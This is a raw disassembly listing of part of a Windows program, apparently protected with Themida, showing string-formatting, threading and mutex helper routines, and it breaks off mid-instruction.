sub_40226B add esp, 0Ch cmp eax, ebp jg short loc_42F84A jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F871: ; CODE XREF: sub_42F6F0+166j push offset aLocalfileWrite ; "localfile write" nop call near ptr 77C36DF2h add esp, 4 mov [esp+14h+var_4], ebp loc_42F883: ; CODE XREF: sub_42F6F0+F4j ; sub_42F6F0+121j ... push edi call near ptr 77C2C21Bh nop push ebx nop call near ptr 77C3EEF6h mov eax, [esp+1Ch+arg_0] add esp, 8 test eax, eax jz short loc_42F8A6 push ebx nop call near ptr 77C40AB1h add esp, 4 loc_42F8A6: ; CODE XREF: sub_42F6F0+1AAj mov eax, [esp+14h+arg_C] push eax call sub_401BEF mov eax, [esp+18h+var_4] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn sub_42F6F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F940: ; CODE XREF: ___:004016A9j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 2 push eax push ecx push edx call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F970: ; CODE XREF: ___:00401D43j sub esp, 108h or ecx, 0FFFFFFFFh xor eax, eax push ebx mov ebx, [esp+110h] push ebp push esi push edi mov edi, ebx repne scasb not ecx add ecx, 6 mov ebp, 1 cmp ecx, 100h jbe short loc_42F9A7 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42F9A7: ; CODE XREF: ___:0042F99Aj movsx eax, byte ptr [esp+124h] mov edi, dword_511A6C push eax lea ecx, [esp+1Ch] push offset dword_4474C8 push ecx call edi ; sprintf mov esi, [esp+134h] lea edx, [esp+24h] push esi push 32h push edx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42F9E8 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42F9E8: ; CODE XREF: ___:0042F9DBj push ebx lea eax, [esp+1Ch] push offset dword_4476CC push eax call edi ; sprintf push esi lea ecx, [esp+28h] push 32h push ecx call sub_42E490 add esp, 18h test eax, eax jz short loc_42FA44 lea edx, [esp+10h] lea eax, [esp+14h] push edx push eax add esi, 44h push offset dword_4476C4 push esi call near ptr 77C41B72h nop add esp, 10h cmp eax, 2 jnz short loc_42FA44 mov ecx, [esp+120h] mov edx, [esp+10h] pop edi mov eax, ebp pop esi pop ebp mov [ecx], edx pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42FA44: ; CODE XREF: ___:0042FA07j ; ___:0042FA28j xor ebp, ebp pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FAA0: ; CODE XREF: ___:004013C0j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push edi mov edi, edx mov ebx, 1 repne scasb not ecx add ecx, 6 cmp ecx, 100h jbe short loc_42FAD0 pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FAD0: ; CODE XREF: ___:0042FAC5j push esi push edx lea eax, [esp+10h] push offset dword_4476D8 push eax nop call near ptr 77C3F931h mov esi, [esp+128h] lea ecx, [esp+18h] push esi push 32h push ecx call sub_42E490 add esp, 18h test eax, eax jnz short loc_42FB0B xor ebx, ebx pop esi mov eax, ebx pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FB0B: ; CODE XREF: ___:0042FAFBj mov edx, [esp+118h] mov eax, [esp+114h] add esi, 48h push edx push esi push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, ebx pop esi pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FB70 proc near ; CODE XREF: sub_4016B3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch arg_C = dword ptr 10h movsx eax, [esp+arg_8] mov ecx, [esp+arg_C] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 3 push ecx push edx push eax call sub_42F6F0 add esp, 14h retn sub_42FB70 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FBA0: ; CODE XREF: ___:004016D1j movsx eax, byte ptr [esp+0Ch] mov ecx, [esp+10h] mov edx, [esp+8] push eax mov eax, [esp+8] push 4 push ecx push edx push eax call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FBD0: ; CODE XREF: ___:0040149Cj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42FC69 mov ebx, [esp+114h] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42FC69 mov esi, dword_511A6C push edx lea eax, [esp+10h] push offset dword_4476F0 push eax call esi ; sprintf mov edi, [esp+124h] lea ecx, [esp+18h] push edi push 33h push ecx call sub_42E490 add esp, 18h test eax, eax jz short loc_42FC69 push ebx lea edx, [esp+10h] push offset dword_4476E4 push edx call esi ; sprintf push edi lea eax, [esp+1Ch] push 32h push eax call sub_42E490 add esp, 18h neg eax sbb eax, eax pop edi pop esi pop ebx neg eax add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FC69: ; CODE XREF: ___:0042FBF1j ; ___:0042FC0Cj ... pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FCB0: ; CODE XREF: ___:00401C7Bj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42FCD9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42FCD9: ; CODE XREF: ___:0042FCD0j push edx lea eax, [esp+4] push offset dword_4476FC push eax call near ptr 77C3F931h nop mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FD30 proc near ; CODE XREF: sub_401D66j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+18h] test eax, eax jnz short loc_42FD69 push edi push esi push 32h push offset aQuit ; "QUIT" call sub_42E490 mov eax, [esi+8] add esp, 0Ch push eax call sub_4381FC ; --------------------------------------------------------------------------- mov ecx, [esi+14h] mov edi, dword_511AD0 push ecx call edi ; free push esi call edi ; free add esp, 8 pop edi loc_42FD69: ; CODE XREF: sub_42FD30+Aj pop esi retn sub_42FD30 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FD80: ; CODE XREF: ___:004021C1j push edi mov edi, [esp+8] test edi, edi jnz short loc_42FD90 mov eax, 16h pop edi retn ; --------------------------------------------------------------------------- loc_42FD90: ; CODE XREF: ___:0042FD87j push 1Ch nop call near ptr 77C2C407h add esp, 4 test eax, eax jnz short loc_42FDA6 mov eax, 0Ch pop edi retn ; --------------------------------------------------------------------------- loc_42FDA6: ; CODE XREF: ___:0042FD9Dj mov ecx, 1 mov dword ptr [eax+8], 0 mov dword ptr [eax+0Ch], 0 mov dword ptr [eax+10h], 0 mov [eax+14h], ecx mov [eax+18h], ecx mov dword ptr [eax], 0C4C0FFEEh mov [edi], eax xor eax, eax pop edi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FE00: ; CODE XREF: ___:0040151Ej push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FE19 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FE19: ; CODE XREF: ___:0042FE10j mov eax, [esi] mov dword ptr [eax], 0 mov ecx, [esi] push ecx nop call near ptr 77C2C21Bh add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FE50: ; CODE XREF: ___:004012D5j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax mov eax, [esp+0Ch] jnz short loc_42FE75 test eax, eax jz short loc_42FE75 mov ecx, [esi] pop esi mov edx, [ecx+0Ch] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_42FE75: ; CODE XREF: ___:0042FE64j ; ___:0042FE68j mov dword ptr [eax], 1 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FEA0: ; CODE XREF: ___:004013ACj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FEB9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FEB9: ; CODE XREF: ___:0042FEB0j mov eax, [esp+0Ch] test eax, eax jz short loc_42FECD cmp eax, 1 jz short loc_42FECD mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FECD: ; CODE XREF: ___:0042FEBFj ; ___:0042FEC4j mov ecx, [esi] pop esi mov [ecx+0Ch], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FEF0: ; CODE XREF: ___:00401519j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF10: ; CODE XREF: ___:00401834j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF30: ; CODE XREF: ___:00401348j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FF49 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FF49: ; CODE XREF: ___:0042FF40j mov eax, [esi] mov edx, [esp+0Ch] pop esi mov ecx, [eax+8] xor eax, eax mov [edx], ecx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FF70: ; CODE XREF: ___:00402207j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42FF89 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42FF89: ; CODE XREF: ___:0042FF80j mov eax, [esi] mov ecx, [esp+0Ch] pop esi mov [eax+8], ecx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FFB0: ; CODE XREF: ___:004019B0j mov eax, [esp+4] mov ecx, [eax] mov eax, [esp+8] mov edx, [ecx+18h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FFE0: ; CODE XREF: ___:004019ABj mov eax, [esp+8] sub eax, 0 jz short loc_430002 dec eax jz short loc_42FFF2 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42FFF2: ; CODE XREF: ___:0042FFEAj mov eax, [esp+4] mov ecx, [eax] xor eax, eax mov dword ptr [ecx+18h], 1 retn ; --------------------------------------------------------------------------- loc_430002: ; CODE XREF: ___:0042FFE7j mov eax, 30h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430020: ; CODE XREF: ___:00401C1Cj push ebx mov ebx, [esp+8] push esi push edi test ebx, ebx jz loc_4300BB mov edi, [esp+18h] test edi, edi jz loc_4300BB push 18h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jz short loc_4300B2 mov eax, [esp+14h] ; DATA XREF: ___:off_444E98o test eax, eax jz short loc_430060 mov eax, [eax] test eax, eax jz short loc_430060 mov eax, [eax] jmp short loc_430062 ; --------------------------------------------------------------------------- loc_430060: ; CODE XREF: ___:00430054j ; ___:0043005Aj xor eax, eax loc_430062: ; CODE XREF: ___:0043005Ej mov [esi+4], edi mov [esi], edi lea edi, [esi+10h] push 0 push eax push edi mov [esi+0Ch], eax mov dword ptr [esi+8], 0 call sub_401C8A add esp, 0Ch test eax, eax jnz short loc_4300A8 push eax mov eax, [esi+0Ch] lea ecx, [esi+14h] push eax push ecx call sub_401C8A add esp, 0Ch test eax, eax jnz short loc_43009F mov [ebx], esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43009F: ; CODE XREF: ___:00430097j push edi call sub_401690 add esp, 4 loc_4300A8: ; CODE XREF: ___:00430082j push esi nop call near ptr 77C2C21Bh add esp, 4 loc_4300B2: ; CODE XREF: ___:0043004Cj pop edi pop esi mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_4300BB: ; CODE XREF: ___:00430029j ; ___:00430035j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_430100: ; CODE XREF: ___:0040220Cj push ebx push ebp mov ebp, [esp+0Ch] push esi test ebp, ebp push edi jz short loc_430168 mov esi, [ebp+0] test esi, esi jz short loc_430168 lea ebx, [esi+10h] mov dword ptr [ebp+0], 0 push ebx call sub_401690 mov edi, eax add esp, 4 test edi, edi jnz short loc_43015E lea eax, [esi+14h] push eax call sub_401690 mov edi, eax add esp, 4 test edi, edi jnz short loc_43014F push esi call near ptr 77C2C21Bh nop add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_43014F: ; CODE XREF: ___:0043013Cj mov ecx, [esi+0Ch] push 0 push ecx push ebx call sub_401C8A add esp, 0Ch loc_43015E: ; CODE XREF: ___:0043012Aj mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_430168: ; CODE XREF: ___:0043010Aj ; ___:00430111j pop edi pop esi pop ebp mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4301A0: ; CODE XREF: ___:004017A3j mov eax, [esp+4] push esi test eax, eax jz loc_430254 mov esi, [eax] test esi, esi jz loc_430254 push ebp lea ebp, [esi+8] push edi push esi mov edi, [ebp+0] nop call near ptr 2770668h test eax, eax jnz short loc_4301E7 mov eax, [esi+4] cmp eax, 1 mov [esi], eax jbe short loc_430234 dec eax push eax lea eax, [esi+edi*4+10h] push eax call sub_402068 add esp, 8 mov esi, eax jmp short loc_430230 ; --------------------------------------------------------------------------- loc_4301E7: ; CODE XREF: ___:004301C8j push ebx call sub_4012E4 ; --------------------------------------------------------------------------- mov ecx, [eax+34h] mov ebx, 1 cmp ecx, ebx jnz short loc_43020B lea ecx, [esp+14h] push ecx push ebx call sub_401415 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jz short loc_43020D loc_43020B: ; CODE XREF: ___:004301F7j xor ebx, ebx loc_43020D: ; CODE XREF: ___:00430209j lea edx, [esi+edi*4+10h] push edx call sub_401041 add esp, 4 mov esi, eax test ebx, ebx pop ebx jz short loc_430230 mov eax, [esp+10h] push 0 push eax call sub_401415 ; --------------------------------------------------------------------------- add esp, 8 loc_430230: ; CODE XREF: ___:004301E5j ; ___:0043021Fj test esi, esi jnz short loc_43024E loc_430234: ; CODE XREF: ___:004301D2j mov ecx, 1 push edi sub ecx, edi push ecx push ebp call dword_5103D8 ; InterlockedCompareExchange xor edx, edx cmp edi, eax setnz dl dec edx mov esi, edx loc_43024E: ; CODE XREF: ___:00430232j pop edi mov eax, esi pop ebp pop esi retn ; --------------------------------------------------------------------------- loc_430254: ; CODE XREF: ___:004301A7j ; ___:004301B1j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_430290: ; CODE XREF: ___:00401F6Ej push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_4302B3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4302B3: ; CODE XREF: ___:004302A2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4302E0: ; CODE XREF: ___:00401A87j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_430301 mov eax, [ecx] test eax, eax jz short loc_430301 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430301: ; CODE XREF: ___:004302E9j ; ___:004302EFj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430320: ; CODE XREF: ___:0040127Bj mov eax, [esp+4] test eax, eax jz short loc_43033D mov eax, [eax] test eax, eax jz short loc_43033D mov ecx, [esp+8] test ecx, ecx jz short loc_43033D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43033D: ; CODE XREF: ___:00430326j ; ___:0043032Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430360: ; CODE XREF: ___:00401636j mov eax, [esp+4] test eax, eax jz short loc_43038A mov ecx, [eax] test ecx, ecx jz short loc_43038A mov eax, [esp+8] cmp eax, 1 jz short loc_43037E test eax, eax jnz short loc_43038A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43037E: ; CODE XREF: ___:00430375j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_43038A: ; CODE XREF: ___:00430366j ; ___:0043036Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4303A0 proc near ; CODE XREF: sub_401415j push esi push edi call sub_4012E4 sub_4303A0 endp ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h dd 90525738h, 33FF79E8h, 75C08502h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 0E8000000h, 234007Bh, 0B4E85390h dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_430460: ; CODE XREF: ___:00402261j push ebx push esi call sub_4012E4 ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h dd 90525338h, 33FEB9E8h, 75C08502h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 33FFBAE8h, 0F4E85702h dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430520 proc near ; CODE XREF: sub_401D02j push esi push edi call sub_4012E4 sub_430520 endp ; --------------------------------------------------------------------------- db 8Bh dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h, 307E8334h dd 8B2E7401h, 6A3846h, 0FE1CE850h, 85900233h, 571E75C0h dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh, 5E5F04C4h dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_4305A0: ; CODE XREF: ___:00401D39j sub esp, 2D0h push esi mov esi, [esp+2D8h] push 0 push esi call sub_401762 add esp, 8 mov [esp+4], eax test eax, eax jnz loc_4306D9 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4305DB mov eax, 0Ch pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_4305DB: ; CODE XREF: ___:004305CCj push ebx push ebp push edi push eax push esi call sub_401A64 lea ebx, [esi+2Ch] mov edi, eax push ebx call sub_402248 mov eax, [esi+34h] add esp, 0Ch test eax, eax mov ebp, 3 jnz loc_4306B2 mov eax, [esi+30h] test eax, eax jnz loc_4306B2 cmp [esi+0Ch], ebp jge loc_4306C5 test edi, edi jz short loc_430644 push ebx mov [esi+0Ch], ebp mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- mov eax, [esp+18h] add esp, 8 pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_430644: ; CODE XREF: ___:00430619j mov edi, [esi+4] push edi nop call near ptr 2760A73h push 0 push edi call near ptr 2770366h nop cmp eax, 102h jnz short loc_4306D2 lea eax, [esp+14h] mov [esi+0Ch], ebp push eax push edi mov dword ptr [esi+30h], 1 mov dword ptr [esp+1Ch], 10001h nop call near ptr 2760C27h lea ecx, [esp+14h] mov dword ptr [esp+0CCh], offset loc_430750 push ecx push edi nop call near ptr 2760E22h push ebx call sub_4010C3 add esp, 4 push edi nop call near ptr 2770000h mov eax, [esp+10h] pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_4306B2: ; CODE XREF: ___:004305FDj ; ___:00430608j cmp [esi+0Ch], ebp jge short loc_4306C5 mov edx, [esi+38h] push edx nop call near ptr 2770234h test eax, eax jnz short loc_4306C9 loc_4306C5: ; CODE XREF: ___:00430611j ; ___:004306B5j mov [esp+10h], ebp loc_4306C9: ; CODE XREF: ___:004306C3j push ebx call sub_4010C3 add esp, 4 loc_4306D2: ; CODE XREF: ___:0043065Cj mov eax, [esp+10h] pop edi pop ebp pop ebx loc_4306D9: ; CODE XREF: ___:004305BFj pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_430750: ; DATA XREF: ___:00430680o push 2 call sub_401DED ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430770 proc near ; CODE XREF: sub_401122j mov eax, dword_5103C8 push esi push eax call sub_401190 sub_430770 endp ; --------------------------------------------------------------------------- mov esi, eax add esp, 4 test esi, esi jz short loc_4307AE mov eax, [esp+8] test eax, eax jz short loc_43079C mov eax, [esi] test eax, eax jz short loc_43079C mov ecx, [esi+4] push ecx call eax add esp, 4 loc_43079C: ; CODE XREF: ___:0043078Bj ; ___:00430791j mov edx, [esi+8] mov eax, dword_5103C8 push edx push eax call sub_4020F9 ; --------------------------------------------------------------------------- add esp, 8 loc_4307AE: ; CODE XREF: ___:00430783j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4307E0 proc near ; CODE XREF: sub_401663j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] mov ecx, [esp+arg_8] push esi mov esi, [esp+4+arg_0] mov [esi], eax mov [esi+4], ecx mov edx, dword_5103C8 push edx call sub_401190 sub_4307E0 endp ; --------------------------------------------------------------------------- mov [esi+8], eax mov eax, dword_5103C8 push esi push eax call sub_4020F9 ; --------------------------------------------------------------------------- add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430830 proc near ; CODE XREF: sub_401B63j arg_0 = dword ptr 4 push esi push offset dword_510920 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_430864 push esi push ecx call sub_40154B add esp, 8 mov esi, eax push offset dword_510920 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430864: ; CODE XREF: sub_430830+17j test eax, eax jnz short loc_43086D mov esi, 16h loc_43086D: ; CODE XREF: sub_430830+36j push offset dword_510920 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_430830 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4308A0: ; CODE XREF: ___:0040211Cj push esi push 4 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 test eax, eax jnz short loc_4308C3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4308C3: ; CODE XREF: ___:004308B2j mov ecx, [esp+8] mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4308E0: ; CODE XREF: ___:004021F3j push esi mov esi, [esp+8] test esi, esi jz short loc_430903 mov eax, [esi] test eax, eax jz short loc_430903 push eax nop call near ptr 77C2C21Bh add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_430903: ; CODE XREF: ___:004308E7j ; ___:004308EDj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430920: ; CODE XREF: ___:00401005j mov eax, [esp+4] test eax, eax jz short loc_43093D mov eax, [eax] test eax, eax jz short loc_43093D mov ecx, [esp+8] test ecx, ecx jz short loc_43093D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_43093D: ; CODE XREF: ___:00430926j ; ___:0043092Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430960: ; CODE XREF: ___:004012ADj mov eax, [esp+4] test eax, eax jz short loc_43098A mov ecx, [eax] test ecx, ecx jz short loc_43098A mov eax, [esp+8] cmp eax, 1 jz short loc_43097E test eax, eax jnz short loc_43098A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_43097E: ; CODE XREF: ___:00430975j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_43098A: ; CODE XREF: ___:00430966j ; ___:0043096Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4309A0 proc near ; CODE XREF: sub_40154Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi xor edi, edi xor esi, esi cmp eax, edi jnz short loc_4309B6 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4309B6: ; CODE XREF: sub_4309A0+Cj mov eax, [esp+8+arg_4] push ebx cmp eax, edi push ebp jz short loc_4309DD mov eax, [eax] cmp eax, edi jz short loc_4309DD cmp dword ptr [eax], 1 jnz short loc_4309DD mov edx, [esp+10h+arg_0] mov edi, 28h pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4309DD: ; CODE XREF: sub_4309A0+1Ej ; sub_4309A0+24j ... push 20h push 1 nop call near ptr 77C2C0C3h mov esi, eax loc_4309E9: ; DATA XREF: Themida_:0058EEF4o add esp, 8 cmp esi, edi jnz short loc_430A02 mov edx, [esp+10h+arg_0] mov edi, 0Ch pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430A02: ; CODE XREF: sub_4309A0+4Ej lea ebp, [esi+10h] push 1 push edi push ebp mov [esi], edi mov [esi+8], edi mov [esi+4], edi call sub_401C8A add esp, 0Ch test eax, eax jz short loc_430A27 call near ptr 77C1F2BCh nop mov edi, [eax] jmp short loc_430A6B ; --------------------------------------------------------------------------- loc_430A27: ; CODE XREF: sub_4309A0+7Bj lea ebx, [esi+0Ch] push 0 push 0 push ebx call sub_401C8A add esp, 0Ch test eax, eax jz short loc_430A45 nop call near ptr 77C1F2BCh mov edi, [eax] jmp short loc_430A62 ; --------------------------------------------------------------------------- loc_430A45: ; CODE XREF: sub_4309A0+99j lea eax, [esi+14h] push 0 push eax call sub_4021BC mov edi, eax add esp, 8 test edi, edi jz short loc_430ACF push ebx call sub_401690 add esp, 4 loc_430A62: ; CODE XREF: sub_4309A0+A3j push ebp call sub_401690 add esp, 4 loc_430A6B: ; CODE XREF: sub_4309A0+85j push esi nop call near ptr 77C2C21Bh add esp, 4 xor esi, esi test edi, edi jnz short 